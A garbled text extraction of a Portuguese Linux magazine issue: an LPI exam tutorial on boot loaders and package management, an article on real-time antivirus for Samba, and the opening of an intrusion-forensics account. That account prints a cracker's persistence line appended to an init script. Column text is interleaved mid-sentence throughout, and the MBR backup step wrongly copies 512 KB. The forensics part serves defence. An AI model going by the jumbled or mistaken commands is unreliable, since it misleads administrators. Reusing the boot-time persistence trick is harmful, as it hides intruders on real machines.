➧ /usr: programas, códigos-fonte e do- ➧ /etc/lilo.conf: arquivo de configucumentação. O ciclo de alteração ração do lilo. desses arquivos é longo. ➧ /sbin/lilo: o utilitário que lê as con➧ /tmp: espaço temporário utilizado por figurações em /etc/lilo.conf e instala programas. Uma partição distinta para o carregador de inicialização. /tmp impedirá que dados temporários Deve ser executado toda vez que uma ocupem todo o espaço no diretório alteração for feita ao arquivo de confiraiz, causando travamento do sistema. guração.Principais opções do arquivo Não necessita de backup. /etc/lilo.conf:
➧ boot : onde o lilo deve ser instalado. Geralmente na MBR de /dev/hda . ➧ prompt: oferece ao usuário a escolha do SO a iniciar. ➧ image ou other: arquivo do kernel ou dispositivo a ser carregado (usar other para outros sistemas). ➧ label : rótulo para a imagem de kernel. ➧ root: localização do dispositivo contendo o sistema de arquivos raiz. ➧ read-only: monta a raiz em modo somente leitura, para que o fsck aja apropriadamente. ➧ append: parâmetros adicionais a serem passados para o kernel. ➧ message: especifica um arquivo contendo uma mensagem a ser mostrada no painel de inicialização do lilo. ➧ delay: tempo de espera para que o usuário invoque o prompt, caso este não seja invocado automaticamente. ➧ vga: valor numérico especificando as preferências visuais do terminal. Exemplo de /etc/lilo.conf: boot = /dev/hda message = /boot/boot_message.txt delay = 4 timeout = 110 vga = 788 image = /boot/vmlinuz root = /dev/hda3 label = Linux read-only
GRUB O GRUB (Grand Unified Bootloader) é uma alternativa ao Lilo. Também é instalado na MBR, através dos comandos /sbin/grub ou /sbin/ grub-install , que obtém as instruções a partir do arquivo /boot/ grub/menu.lst . Principais opções globais de /boot/ grub/menu.lst: ➧ default: imagem padrão a ser usada para a inicialização (começando por 0). ➧ timeout: tempo de espera para iniciar o boot, em segundos. Opções individuais para cada sistema: ➧ title: nome para o item. ➧ root: localização do carregador de segundo estágio e do kernel (hd0,0 equivale a /dev/hda). ➧ kernel: caminho para o kernel (relativo à opção root). ➧ ro: montar inicialmente em modo somente leitura. ➧ initrd: caminho para a imagem initrd.
http://supertuxbr.blogspot.com 58
http://www.linuxmagazine.com.br
Preparação LPI | TUTORIAL
Diferentemente do Lilo, o comando grub-install não precisa ser executado toda
vez que forem feitas alterações ao arquivo
/boot/grub/menu.lst. Uma vez instalado, o
carregador de inicialização do GRUB lê o arquivo /boot/grub/menu.lst diretamente.
Dispositivos de inicialização alternativos Um disquete de inicialização será importante caso a MBR do disco tenha sido alterada e o sistema esteja inacessível. Mesmo com a maioria dos kernels atuais não mais cabendo num disquete, ainda é possível criar um disquete de inicialização com o Lilo ou com outras ferramentas, como o Syslinux. A maioria das distribuições GNU/ Linux fornece CDs ou DVDs de inicialização para instalação do sistema. Essas mídias podem ser usadas para acessar e inicializar um sistema já instalado e que possa estar inacessível por alguma eventual falha do carregador de inicialização. Para fazer um backup da MBR, basta copiar os primeiros 512 KB do disco, o que pode ser feito com o comando dd:
Essas ferramentas de compressão são incapazes de aglutinar arquivos, por isso são utilizadas em conjunto com o comando tar. Para facilitar esse procedimento, tanto a compressão quanto a descompressão podem ser efetuadas diretamente pelo comando tar, através dos argumentos: ➧ Z: Compress ➧ z: gzip ➧ j: bzip2 Para arquivar o conteúdo de um diretório com compressão bzip2, o seguinte comando pode ser utilizado: $ tar cjf nome_do_arquivo.tar.bz2 ./ ➥ nome_do_diretório/
Compilar e instalar programas O primeiro passo para instalar um programa distribuído como código-fonte no formato tar é extraí-lo: $ tar xjvf sylpheed-2.0.4.tar.bz2
Esse comando criará o diretório ./ sylpheed-2.0.4/, contendo o código-fonte
do programa e as ferramentas de configuração. A configuração é feita dentro desse # dd if=/dev/hda of=mbr.backup bs=1k diretório, por um script chamado confi➥ count=512 gure. O script coleta informações sobre a arquitetura do sistema, caminhos de Esse backup pode ser guardado e de- comandos, bibliotecas compartilhadas, características de funcionamento do propois restaurado para a MBR: grama etc. Em geral, o configure pode ser # dd if=mbr.backup of=/dev/hda invocado sem argumentos, simplesmente executando-se ./configure. Uma opção bastante utilizada é --preObjetivo 1.102.3: Compilar fix, que informa qual diretório o programa deverá usar como base para a instalação. e Instalar Programas a Por exemplo: partir do código-fonte Compressão e descompressão de arquivos A maioria dos programas distribuídos como código-fonte apresentam-se na forma de arquivos tar comprimidos. Arquivos tar são vários arquivos aglutinados em um só, o que facilita sua distribuição. Os comandos zcat e bzcat descomprimem para a saída padrão, ou seja, jogam o conteúdo descomprimido na tela do terminal.
$ ./configure --prefix=/opt
Esse comando informa que o programa deve ser instalado em /opt. A lista descritiva completa das opções pode ser vista executando-se o comando ./configure --help. As informações coletadas pelo script configure são armazenadas em um arquivo no mesmo diretório, chamado Makefile. Esse arquivo pode ser editado para se
alterar as opções de instalação, como a variável prefix, que desempenha a mesma função do argumento --prefix do script configure, e outras variáveis que indicam a localização de bibliotecas, comandos, características do programa etc. Terminada a configuração, o programa pode ser compilado através do comando make. Esse comando cria as bibliotecas e arquivos executáveis conforme as instruções e opções especificadas em Makefile. Após o término da compilação, o programa estará pronto para ser instalado através do comando make install. Se o diretório-base da instalação não estiver no diretório pessoal do usuário, esse comando deverá ser executado com privilégios de superusuário (root).
Objetivo 1.102.4: Bibliotecas Compartilhadas Funções comuns e compartilhadas por diferentes programas são armazenadas em bibliotecas. Durante a compilação de um programa, essas bibliotecas específicas são ligadas ao programa que as usará. A ligação pode ser estática ou dinâmica, ou seja, as funções de uma biblioteca poderão estar embutidas no programa compilado ou apenas mapeadas para a biblioteca externa. Programas estáticos não dependem de arquivos externos, porém são maiores que programas dinâmicos. O programa incumbido de carregar a biblioteca e ligá-la ao programa que dela depende é o ld.so. Para que o ld.so possa localizar a biblioteca da qual um programa depende, esta deverá estar mapeada em /etc/ld.so.cache. As localidades padrão de bibliotecas de sistema são /lib e /usr/lib. Diretórios contendo bibliotecas adicionais devem ser incluídos no arquivo /etc/ld.so.conf. A execução do comando ldconfig é fundamental para que as alterações em /etc/ld.so.conf atualizem o /etc/ld.so. cache e repercutam no funcionamento do ld.so. Outra maneira de deixar uma localidade de biblioteca ao alcance do ld.so
Tipos de compactação Compressão
Descompressão
Descompressão “cat”
compress
uncompress
zcat
Extensão .Z
gzip
gunzip
zcat
.gz
bzip2
bunzip2
bzcat
.bz2
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
59
TUTORIAL | Preparação LPI
é adicionar seu respectivo caminho à distribuição e a seção de pacotes dentro variável de ambiente LD_LIBRARY_PATH, do repositório. com o comando export LD_LIBRARY_ Cada distribuição possui repositórios PATH=caminho_da_biblioteca. Esse método, próprios, oficiais e não oficiais. Depois porém, garante apenas o acesso tempo- de alterar o arquivo /etc/apt/sources. rário do ld.so ao diretório em questão. list, é necessário executar o comando Não funcionará fora do escopo da va- apt-get update para que os índices de riável de ambiente e quando a variável pacotes e dependências disponibilizados deixar de existir, mas é um método útil por cada repositório sejam baixados e para usuários sem permissão atualizarem atualizados localmente. o /etc/ld.so.cache ou para a execução Administrando pacotes pontual de programas. Para procurar programas, pode ser utilizado o comando apt-cache search Objetivo 1.102.5: Administração nome_do_programa. Se nenhum resultado aparecer, é possível que os índices não de Pacotes Debian (.deb) tenham sido atualizados com apt-get As principais ferramentas de administra- update, ou que o programa procurado não exista nos repositórios indicados ção de pacotes .deb são: ➧ dselect: ferramenta de gerenciamento em /etc/apt/sources.list. de pacotes orientada a menus. A instalação pode ser feita com apt➧ dpkg: comando para instalação de pa- get install nome_do_programa. Caso haja dependências pendentes, o administrador cotes individuais. ➧ apt-get: busca um pacote em reposi- será consultado em relação à instalação tórios e o instala. desses programas. O dselect é, na realidade, apenas uma Além da cópia de arquivos, muiinterface de operação para o dpkg e o apt- tas vezes a instalação de um pacote get. Sua operação depende, portanto, dos também apresentará um assistente de outros dois comandos. configuração do mesmo. Caso seja neO grande trunfo de se utilizar um cessário reconfigurar o pacote, deve ser sistema de pacotes como esse é a pos- invocado o comando dpkg-reconfigure sibilidade de se resolver dependências, nome_do_pacote. ou seja, se o pacote a ser instalado A remoção de programas é feita pelo necessitar de outros programas ou próprio apt-get. O comando apt-get bibliotecas ausentes no sistema, as remove nome_do_pacote desinstala o pamesmas poderão ser automaticamente cote. Para remover o pacote e também baixadas e instaladas. os arquivos de configuração relacioPara usufruir da resolução automática nados, é utilizado o comando apt-get de dependências, é necessário discriminar remove --purge nome_do_pacote. corretamente a origem dos pacotes, origem Além desses comandos básicos, ouessa que deve ser apropriada para a sua dis- tros podem ser úteis na administração tribuição. Essas origens são determinadas de pacotes: pelo arquivo /etc/apt/sources.list. ➧ dpkg -S nome_do_arquivo: procura qual Cada linha do arquivo /etc/apt/sourpacote instalou o arquivo especificaces.list determina um repositório. Por do. exemplo, a linha deb http://br.archive. ➧ dpkg -L nome_do_pacote: lista os arubuntu.com/ubuntu/ edgy universe espequivos instalados pelo pacote especifica o repositório deb da distribuição cificado. Ubuntu, em um servidor no Brasil. As ➧ apt-cache show nome_do_pacote: mostra duas últimas palavras, edgy e universe esa descrição e os detalhes do pacote pecificam, respectivamente, a versão da especificado.
Além das opções de linha de comando, o comportamento dos comandos pode ser personalizado através dos arquivos /etc/dpkg/dpkg.cfg e /etc/apt/apt.conf. Informações sobre o estado e andamento da instalação de pacotes podem ser encontradas em /var/lib/dpkg/. Quase todas as funções do apt-get podem ser desempenhadas pelo dpkg. É importante consultar as páginas de manual de ambos para conhecer pelo menos as opções básicas de instalação, remoção e inspeção de pacotes. Mesmo que não haja pacotes adequados para a distribuição utilizada, existe a possibilidade de se converter o pacote para o formato desejado, com o programa alien. Apesar de essa não ser a melhor opção, ela pode servir como solução provisória até que o programa desejado esteja disponível no formato nativo da distribuição.
Objetivo 1.102.6: Administração de Pacotes Red Hat (.rpm) O principal comando de administração de pacotes rpm é o rpm. Algumas abreviações de opções são parecidas, porém realizam diferentes ações, dependendo de sua posição na linha de comando. A distinção é feita a partir da primeira opção da esquerda para a direita. O primeiro argumento passado ao comando rpm é chamado argumento modo maior. As demais são as opções de modo menor. Um pacote .rpm pode ser instalado simplesmente invocando-se o comando rpm -ivh nome_do_pacote.rpm. Opções de modo maior para o rpm: ➧ -i ou --install: instala o pacote. ➧ -U ou --update: atualiza ou instala o pacote. ➧ -F ou --freshen: atualiza o pacote apenas se o mesmo estiver instalado. ➧ -V ou --verify: verifica o tamanho, MDB, permissões, tipo, integridade etc.
Arquivos e diretórios pertinentes ao rpm Caminho
Descrição
/etc/rpmrc
É o arquivo de configuração do rpm e do rpmbuild. Contém informações sobre a arquitetura do sistema e os caminhos para macros e diretórios utilizados no manejo de pacotes. Este arquivo é também encontrado em /usr/lib/rpm/.
/usr/lib/rpm/*
Diretório contendo as macros necessárias para o manejo de pacotes.
/var/lib/rpm/
Diretório onde se situam as bases de dados do rpm.
http://supertuxbr.blogspot.com 60
http://www.linuxmagazine.com.br
Preparação LPI | TUTORIAL
➧ -q ou --query: investiga pacotes e arAssinaturas de pacotes É possível verificar a assinatura de quivos. cada pacote distribuído como parte ➧ -e ou --erase: desinstala o pacote. Opções de modo menor para o rpm: de um projeto. Se a distribuição for ➧ a: aplica uma variável em todos os pa- Fedora Core, por exemplo, as chaves são incorporadas ao banco de cotes instalados. ➧ c: com q, lista arquivos de configura- dados do rpm com o comando rpm --import /usr/share/rhn/RPMção. ➧ d: com q, lista arquivos de documen- GPG-KEY-FEDORA. Dessa forma, todo pacote copiado do servidor Fedora tação. ➧ f: com q, verifica qual pacote instalou pode ser verificado com rpm --checksig nome_do_pacote . o arquivo referido. A integridade do pacote pode ser ➧ h: mostra o progresso da instalação. ➧ i: com q, lista informações sobre um verificada usando a opção -V. A opção -Va checa todos os pacotes. A análideterminado pacote. ➧ l: com q, lista todos os arquivos e dire- se é feita tendo como referência os tórios do pacote. arquivos originais do pacote. Significado dos caracteres retornados ➧ p: com q, indica que a investigação é pela verificação: realizada no arquivo .rpm. ➧ .: teste bem sucedido. ➧ v: modo descritivo. Outras opções: ➧ ?: o teste não pôde ser realizado. ➧ --nodeps: instala o pacote sem checar ➧ S: o tamanho do arquivo mudou. as dependências. ➧ M: a permissão ou o tipo do arquivo ➧ --force: força a instalação/atualizamudou. ção. ➧ 5: a soma MD5 do arquivo é diferen➧ --test: mostra como seria a instalação, te. mas não instala. ➧ D: o dispositivo foi modificado. ➧ --requires: com q, mostra as exigên- ➧ L: o link simbólico foi modificado. cias para o pacote especificado. ➧ U: o dono do arquivo mudou. ➧ --whatrequires: com q, mostra quais ➧ G: o grupo do arquivo mudou. programas dependem do pacote. ➧ T: a data do arquivo mudou.
Considerações finais
O mais importante no primeiro tópico é conhecer os conceitos mostrados em cada objetivo, como identificação e configuração básica de cada dispositivo. A prova contará com pelo menos quatro ou cinco perguntas sobre o tópico. Prepare-se para perguntas sobre endereços de porta I/O padrão e LUNs SCSI, por exemplo. Saber como funciona a arquitetura USB dentro do Linux também é muito importante. Para o segundo tópico, além de conhecer nomes e arquivos de configuração, serão perguntados detalhes sobre cada um dos itens abordados. Serão feitas várias perguntas sobre os tipos de particionamento e sobre a instalação e remoção de programas. Pratique muito as diferentes maneiras de instalar e desinstalar programas, tanto a partir do código-fonte quanto por pacotes RPM e DEB. No próximo mês veremos os tópicos 103 e 104. Até lá, pesquise as páginas manual dos programas relacionados e leia os HOWTOs encontrados na Internet sobre o que vimos neste número. ■
Mais Informações [1] Detalhes prova 101: http://www.lpi.org/en/lpi/english/certification/ the_lpic_program/exam_101_detailed_objectives
�����
�
������ ������������� ���������
http://supertuxbr.blogspot.com
Integração de um antivírus em tempo real ao Samba
SYSADMIN
Proteção dançante A verificação de vírus em tempo real no servidor é uma solução elegante e eficiente para a proteção de clientes Windows®. Conheça algumas ferramentas e técnicas para antivírus em tempo real com o Samba. por Florian Osses
U
m servidor de arquivos Samba Nossa máquina de testes é um Pentium preferida provavelmente dispõe de um em uma rede heterogênea ge- 4 D com 512 MB de memória, um disco pacote para o Samba-Vscan em seus reporalmente armazena arquivos para PATA e o Mandriva Linux. A distribuição sitórios. É necessário instalar o antivírus um outro sistema chamado Windows®, inclui a versão 3.0.20 do servidor Samba. junto com o pacote. Nos testes, consemuito sujeito a ameaças virais. Apesar Configuramos três compartilhade muitos administradores saberem que mentos: [publico] e dois outros é uma boa idéia varrer os arquivos em que exigem autenticação. Fora busca de pragas virtuais, a maioria das isso, não alteramos o arquivo configurações que o fazem operam de smb.conf (figura 1). A forma mais fácil de integrar forma periódica. Soluções antivírus em tempo real utilizam uma abordagem mais um antivírus em tempo real é elegante, entrando em ação sempre que através de um objeto VFS (Virse efetua uma operação sobre um arquivo, tual File System, ou Sistema de de forma dinâmica. Arquivos Virtual). Um sistema de Entretanto, a elegância técnica cobra arquivos virtual é um módulo de o preço da complexidade técnica aumen- software que fornece novas funtada. Uma solução de tempo real deve cionalidades, como a busca de associar o antivírus, o Samba, e o sistema vírus, em nosso caso. O objeto de arquivos local. Este tutorial oferece VFS implementa esse recurso Figura 1: Essa seção do arquivo smb.conf de nossa máquina de testes tem três compartilhaum guia passo-a-passo para a varredura como um módulo separado do mentos configurados – um público e dois em tempo real com o ClamAV e o Avira Samba. Para isso, é necessário o que exigem autenticação. Samba-Vscan. Sua distribuição Antivir Personal Edition Classic.
http://supertuxbr.blogspot.com 62
http://www.linuxmagazine.com.br
Samba antivírus | SYSADMIN
Exemplo 1: smb.conf para o ClamAV 01 02 03 04 05 06 07 08
[compartilhamento1] comment = diretório Samba compartilhado vfs object = vscan-clamav vscan-clamav: config-file = /etc/samba/vscan-clamav.conf read only = No browseable = No path = /home/foobar valid users = foobari
guimos avaliar tanto o ClamAV [1] e o Avira Antivir [2]. Talvez conseguíssemos atingir resultados semelhantes com o Symantec [3], Bitdefender para Samba [4] ou alguns outros pacotes.
Situação 1
seguinte no arquivo de configuração, deixando-a assim: infected file action = nothing
Caso contrário, o antivírus ainda impedirá o acesso a arquivos suspeitos, deixando-os no mesmo lugar:
Depois de instalar o Samba-Vscan e o pacote Vscan-ClamAV [1], devemos infected file action = quarantine prosseguir à configuração do antivírus. Para isso, devemos descomentar a seÉ possível especificar um caminho adegunda e a terceira linhas no arquivo de quado para substituir o parâmetro quaranconfiguração /etc/clamav.conf ou tine directory = /tmp. O caminho para /etc/clamd.conf: o socket do antivírus é importante: clamd socket name = /var/run/clamd. O Suse LocalSocket /var/lib/clamav/clamd-socket usa /var/lib/clamav/clamd-socket para # TCPSocket 331 isso. Se precisarmos de uma depuração mais # TCPAddr 127.0.0.1 sofisticada, podemos mudar:
devemos baixar a versão atual de [2] e descompactar o arquivo com tar -xvzf antivir-workstation-pers.tar.gz. Em seguida, entre no diretório criado por esse comando e execute o script ./ install (figura 2).
Vscan Antivir e Samba conversam
Depois de completarmos todos os passos, vamos voltar ao Vscan Antivir [5], com o qual já temos intimidade, devido à solução com o ClamAV. Dessa vez, precisaremos dos fontes do Samba – obviamente, a versão dos fontes deve obrigatoriamente corresponder à versão instalada. No diretório com os fontes do Samba, primeiro executamos o script ./configure, e O daemon do ClamAV normalmente verbose file logging = no depois digitamos make proto. é executado sob uma conta sem priviléDepois de copiarmos os fontes do Vsgios, cujas permissões não permitem que para yes. As outras opções podem ser can Antivir para Samba-Sources/examo daemon grave em todos os diretórios pesquisadas com mais calma; o arquivo ples/VFS/, entramos nesse diretório e compartilhados. É necessário conferir vem com comentários bastante úteis. executamos ./configure && ./make permissões mais robustas ao usuário do Agora configure o arquivo /etc/sam- para compilar, seguido de make install ClamAV – isso pode ser complicado ba/smb.conf de acordo com o antivírus. (figura 3), para instalar o objeto VFS cor– ou alterar o usuário usado pelo Cla- Para isso, crie o objeto VFS mostrado no respondente ao antivírus. (É importante mAV para o root, modificando a linha exemplo 1. Agora só falta reiniciar o Samba lembrar que, em vez de copiarmos os do usuário no arquivo /etc/clamd.conf com /etc/init.d/samba restart; no fontes do Vscan Antivir para o diretório para User root. Suse, basta um rcsamba restart. Depois com os fontes do Samba, poderíamos Agora reinicie o ClamAV digitan- disso, tudo já está configurado, e podemos ter passado o parâmetro --with-samdo /etc/init.d/clamav restart na prosseguir com nossos testes. ba-source=caminho_do_samba para o maioria das distribuições; no Suse Liscript configure.) Feito isso, devemos nux, seria rcclamd restart. Se a sua copiar o arquivo vscan-antivir.conf rotina de configuração ainda não tiver feito isso, copie o arquivo vscan-clamav.conf de /usr/share/doc/clamav para /etc/samba. Agora altere a linha Se decidirmos usar o Antivir Personal Edition Classic gratuito, da Avira, em vez do ClamAV, os passos são semelhantes àqueles que acabamos de mostrar. Entretanto, o gerenciador de pacotes de nossa máquina Mandriva não possuía os pacotes necessários, como é o caso de diversas Figura 3: Adicionando os fontes do Antivir aos outras distribuições. Para fontes do Samba, e depois prosseguindo à Figura 2: Depois de baixarmos e configurarmos o Avira Antivir, compilar o aplicativo a compilação conjunta dos dois. um script instala o antivírus gratuito. partir do código-fonte,
Situação 2: Avira Antivir e Vscan Antivir
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
63
SYSADMIN | Samba antivírus
Como funciona
Cliente SMB
Compartilhamento 1
Compartilhamento 2 Samba
Objeto VFS
Antivir
Dazuko
Kernel
Sistema de arquivos
Figura 4: Procedimento da Situação 2. Quando o cliente SMB inicia uma operação sobre um arquivo em um compartilhamento, o objeto VFS no servidor Samba ativa o antivírus ao mesmo tempo. As setas azuis mostram o processo sem o antivírus.
do diretório dos fontes para /etc/samba/. Depois, modificamos o arquivo como na Situação 1, com o foco principal nas configurações de quarentena. Devemos digitar o seguinte para cada compartilhamento no smb.conf: vfs object = vscan-antivir vscan-antivir : config-file = /etc/samba/ vscan-antivir.conf
Também é uma boa idéia enviarmos as últimas assinaturas de vírus para o Antivir com o comando antivir-update. Antes de ativarmos o Avguard, devemos examinar o arquivo /etc/avguard.conf. Após encontrarmos as entradas que listam os diretórios a serem acessados pelo Antivir, devemos desabilitar aquelas que o programa não tem direito de acessar. Caso contrário, seremos bombardeados com mensagens de negação de acesso. Para terminar, só precisamos iniciar o Samba: /etc/init.d/samba restart
Quando um usuário em um cliente SMB abre um arquivo, o cliente envia uma requisição ao servidor Samba. O compartilhamento Samba é ligado a um objeto VFS – e portanto indiretamente ligado também ao antivírus. O antivírus, que está rodando em modo especial de servidor, comunica-se em paralelo com os requisitos de acesso ao Samba (figura 4). Antes de a operação normal de abertura do Samba alcançar o sistema de arquivos, o Antivir examina o arquivo. Se o resultado for positivo, ou seja, se o arquivo incluir código malicioso, o antivírus envia ao servidor Samba uma mensagem de acesso negado. O sistema cliente, por sua vez, manda a mensagem de acesso negado para seu usuário. ➧ Dependendo da configuração do antivírus, o arquivo é movido para o diretório de quarentena, ou então apagado; uma terceira opção é simplesmente ignorar o erro. Independente do que acontecer, o administrador do servidor será notificado, e a mensagem será registrada no Dmesg e nos registros do Samba.
Situação 3: Antivir com Dazuko A Situação 2 sofre de uma desvantagem de desempenho decorrente de seu projeto: os componentes nos espaços do kernel e do usuário precisam conversar sobre cada operação sobre um arquivo – um processo que demanda bastante tempo. Porém, é possível executar o Avira Antivir sem o módulo do Vscan. O Dazuko é um módulo do kernel Linux licenciado sob a licença GPL/BSD que oferece controle sobre o acesso a arquivos através de um dispositivo (/dev/dazuko), o qual fornece esse controle sob demanda. O que torna o módulo veloz é o fato de ele
Quadro 1: Metodologia Para eliminarmos a influência dos efeitos da rede, usamos a ferramenta cliente Smbclient, que é parte da distribuição do Samba, executando-a sobre o sistema servidor Samba. O programa mostra a velocidade de transferência para cada arquivo, junto com a velocidade média por sessão (veja a figura 6). Realizamos o benchmark várias vezes para cada configuração (para eliminar a influência do cache), antes de reunirmos os resultados. Para cada teste executado, passamos ao Smbclient um diretório para operações de leitura e escrita, com aproximadamente 1 GB de dados. O diretório incluía uma imagem ISO de 600 MB, um arquivo tar com pequenos arquivos de teste, diversos arquivos de imagem e alguns binários do Windows®. A diferença entre os resultados de leitura e escrita podem ser atribuídos ao buffer de gravação do Samba, que é preenchido antes que seja permitido que o Linux acesse o disco. As operações de leitura, por outro lado, são realizadas diretamente a partir do disco. O tamanho do buffer de gravação é configurável, embora não seja desejável ter um buffer muito grande, pois isso tornaria mais lento o processo de gravação.
Figura 5: Média dos resultados de benchmark para gravação e leitura de arquivos no servidor Samba. A figura compara as Situações 2 e 3, e também mostra os resultados sem proteção contra vírus.
obter as informações necessárias a partir do espaço do kernel. Na Situação 3, é preciso mudar nossa configuração do Avguard e carregar o módulo Dazuko, embora isso aconteça automaticamente quando o Avguard é iniciado. A menos que usemos o Suse Linux, nosso kernel provavelmente não possuirá suporte ao Dazuko. O código-fonte está disponível em [6], e também precisaremos dos fontes do Linux. O Dazuko espera que o kernel suporte modos de segurança. Encontraremos as configurações necessárias, [M] para módulo, em Security Options | Enable different Security Models | Default Linux capabilities, na etapa make menuconfig. Os seguintes comandos compilam o módulo do kernel no sistema: make modules make modules_install depmod modprobe capability
Se você tiver instalado o Dazuko, executar ./install para o Antivir deve retornar os resultados esperados.
Avguard e Dazuko
Agora devemos configurar o Avguard para monitorar os compartilhamentos do Samba. Para isso, precisamos alterar os parâmetros IncludePath e ExcludePath em /etc/avguard.conf. Isso dá ao Dazuko a possibilidade de detectar o acesso ao Samba. O módulo poderá tanto autorizar quanto negar o acesso, e repassará todas
http://supertuxbr.blogspot.com 64
http://www.linuxmagazine.com.br
Samba antivírus | SYSADMIN
Fucionalidade versus velocidade Figura 6: O cliente *Smbclient* grava e lê arquivos no servidor de arquivos e mede a taxa de transferência de dados.
requisições open() direcionadas ao sistema de arquivos para o antivírus. Enquanto o Vscan Antivir suporta o acionamento mediante fechamento, abertura e execução de arquivos, o Dazuko trabalha apenas com operações na abertura dos arquivos. Isso significa que os arquivos não são imediatamente varridos quando um cliente SMB os armazena em um compartilhamento Samba. Uma operação open() sobre um arquivo não ocorre até que o cliente leia, execute, renomeie ou mova o arquivo. Antes que isso aconteça, o Dazuko não tem uma oportunidade de entregar o arquivo ao Avguard. Quando um programa malicioso é detectado, o Avguard reage como definido no arquivo de configuração; isso é, ele move o arquivo para o diretório de quarentena.
Conclusão
Monitorar as operações open() no Samba e examinar o conteúdo de arquivos pode degradar significativamente o desempenho. Medimos a taxa de transferência em um cliente Samba no servidor Samba descrito acima (veja o quadro 1 para mais detalhes). Para manter o benchmark justo, restringimos o teste às Situações 2 e 3, ambas usando o Avira Antivir. Os valores comparativos “sem antivírus” foram alcançados desativando-se o antivírus. Os resultados na figura 5 mostram que a queda de performance causada pelo uso do software antivírus é mensurável. No entanto, as diferenças entre o Vscan Antivir e o Dazuko Antivir são mínimas. Aparentemente, a alternância entre os espaços do kernel e do usuário não faz tanta diferença sob condições práticas, conforme demonstrado pelas operações de gravação: 900 kbps contra 740 kbps. Para fins de comparação, a taxa média sem a ativação sob demanda do antivírus foi de 1020 kbps. De forma geral, esses resultados dependem da configuração do antivírus, e devemos sempre ser céticos quanto a eles.
Das três situações, preferimos a terceira: o Antivir sem o módulo Vscan. Apesar da falha na ausência da busca por vírus no fechamento de arquivos, o Dazuko satisfez nossas exigências para um antivírus em tempo real, bloqueando eficientemente o acesso sob o sinal de código malicioso. ■
Mais Informações [1] Clam AV para Linux: http://www.clamav.net [2] Antivir Personal Edition Classic, da Avira: http://www.free-av.com/ [3] Kaspersky Antivírus para Servidores Samba:
http://www.kaspersky.com/lin_samba [4] Bitdefender para Samba 3, da Softwin: http://www.bitdefender.com/ PRODUCT-11-en--BitDefenderfor-Samba-File-Servers.html [5] Módulo Vscan do Samba, implementação do Samba para ClamAV e Antivir:
http://www.openantivirus.org [6] Projeto Dazuko: http://www.dazuko.org
http://supertuxbr.blogspot.com ��������� ���������� ����������
Seguindo os rastros deixados por um invasor
SYSADMIN
Na trilha do invasor O IDS informa que algo está errado. Você nota que a máquina está com comportamento inesperado. Vamos descobrir se houve uma invasão, seguir sua rota e descobrir a motivação do invasor. por Avi Alkalay
Pe
Q
ter
So
re n
se
n-
ww
w. sx
c.h
u
ualquer administrador de firewall pode observar em seus registros que uma máquina conectada à Internet não fica um minuto sequer das 24 horas do dia livre de tentativas de invasão. Tem sempre alguém fazendo uma varredura, tentando algum tipo estranho de conexão, requisitando URLs inseguras aos servidores web, enfim, batendo na porta. Parece que as pessoas têm se protegido bem, já que não me lembro de ter ouvido histórias detalhadas sobre um ataque efetivamente acontecendo. Tive a oportunidade de analisar um computador que foi invadido e vou relatar aqui as evidências que os crackers deixaram para trás, como as descobrimos, e o que lhes interessava naquela máquina. Vou usar nomes fictícios e mascarar alguns IPs para resguardar a privacidade de todos.
Vamos chamar os invasores de crackers, porque hackers somos todos nós que respiramos tecnologia, “fuçadores” (tradução do termo “hacker”), exploradores, pessoas curiosas. Somos todos hackers porque usamos nossas mentes poderosas para resolver problemas, ganhar dinheiro licitamente, enfim, fazer o bem. Um cracker, por outro lado, usa seu conhecimento para invadir, deteriorar, tirar vantagem e dar trabalho aos hackers administradores de redes. Um cracker é um mau hacker, e um bom hacker pode impedir a ação de um cracker.
Os rastros do cracker
O servidor em questão era uma máquina de testes internos na empresa A, que em determinado momento foi deslocada para
um novo teste, conectada à Internet, sem uma reinstalação. Tudo começou quando, poucas semanas após estar conectada à Internet, uma empresa que chamaremos de B enviou um email para P (provedor do link físico para a máquina atacada), informando que detectou uma tentativa de ataque, e requisitou um retorno. P encaminhou o email para A, e esse continha alguns registros com a prova da tentativa de invasão: Feb 22 12:36:27 sshd[PID]: ➥ from IP.IP.IP.IP Feb 22 12:36:27 sshd[PID]: ➥ from IP.IP.IP.IP Feb 22 12:36:27 sshd[PID]: ➥ from IP.IP.IP.IP Feb 22 12:36:27 sshd[PID]: ➥ from IP.IP.IP.IP Feb 22 12:36:27 sshd[PID]:
refused connect refused connect refused connect refused connect refused connect
http://supertuxbr.blogspot.com 66
http://www.linuxmagazine.com.br
Invasão | SYSADMIN
Figura 1: Diagrama das tentativas iniciais de invasão.
administrador, e não do sistema operacional, seja ele qual for, e do fabricante que for. O administrador precisava agorefused connect ra descobrir como o cracker invadiu a máquina, para, corajosamente, assumir refused connect a falha e não permitir que isso aconterefused connect cesse novamente. Logo na inicialização da máquina, observamos consecutivas mensagens esEles mostravam que o IDS (Intru- tranhas que não deveriam estar lá, e que sion Detection System) de B acusou que continham o texto (swap). Começamos a máquina atacada (cujo endereço IP a analisar o processo de inicialização do está representado por IP.IP.IP.IP) ten- sistema, a partir do arquivo /etc/inittab. tou se conectar várias vezes sem sucesso Vimos que um dos primeiros scripts que a seu serviço SSH (sshd). Reparem que são executados no sistema é o /etc/init.d/ o instante de todas as tentativas, até os functions, e fizemos os seguintes testes: segundos, é o mesmo, o que leva a crer que não é um ser humano, e sim algum bash$ rpm -qf /etc/init.d/functions software que muito rapidamente está tes- initscripts-7.93.20.EL bash$ rpm -V initscripts tando várias combinações de usuário e S.5....T c /etc/rc.d/init.d/functions senha ao mesmo tempo. Fui chamado para dar explicações, pois eu havia fornecido, informalmente Verificamos que este arquivo faz parte e por telefone, algumas dicas de como (rpm -qf) do pacote initscripts; em seguiproteger a máquina. Primeiramente, era da, testamos sua integridade (rpm -V), e necessário dar subsídios ao provedor P descobrimos que o arquivo foi alterado. para responder ao email de B, dando uma O número 5 significa que a soma MD5 satisfação formal. Isso é uma atitude de do arquivo mudou, ou, em outras palaresponsabilidade de um bom administra- vras, que o conteúdo do arquivo mudou. dor de rede, e demonstra a preocupação O gerenciador de pacotes RPM obtém em manter o nível de serviço da Internet essa informação ao comparar essa soma o mais alto possível. do arquivo atual no disco com o valor de A máquina foi colocada em quarente- MD5 registrado em seu banco de dados na, desligada da Internet e começamos no momento da instalação do pacote. a analisá-la. Tratava-se de um Red Hat Mas o que foi alterado no script funcEnterprise Linux 3 Update 5. Não estou tions? A última linha do script era: dizendo que o Red Hat Linux é menos ou mais seguro. O conceito de segurança de uma distribuição não é intuitivo, mas /usr/bin/crontabs -t1 -X53 -p é 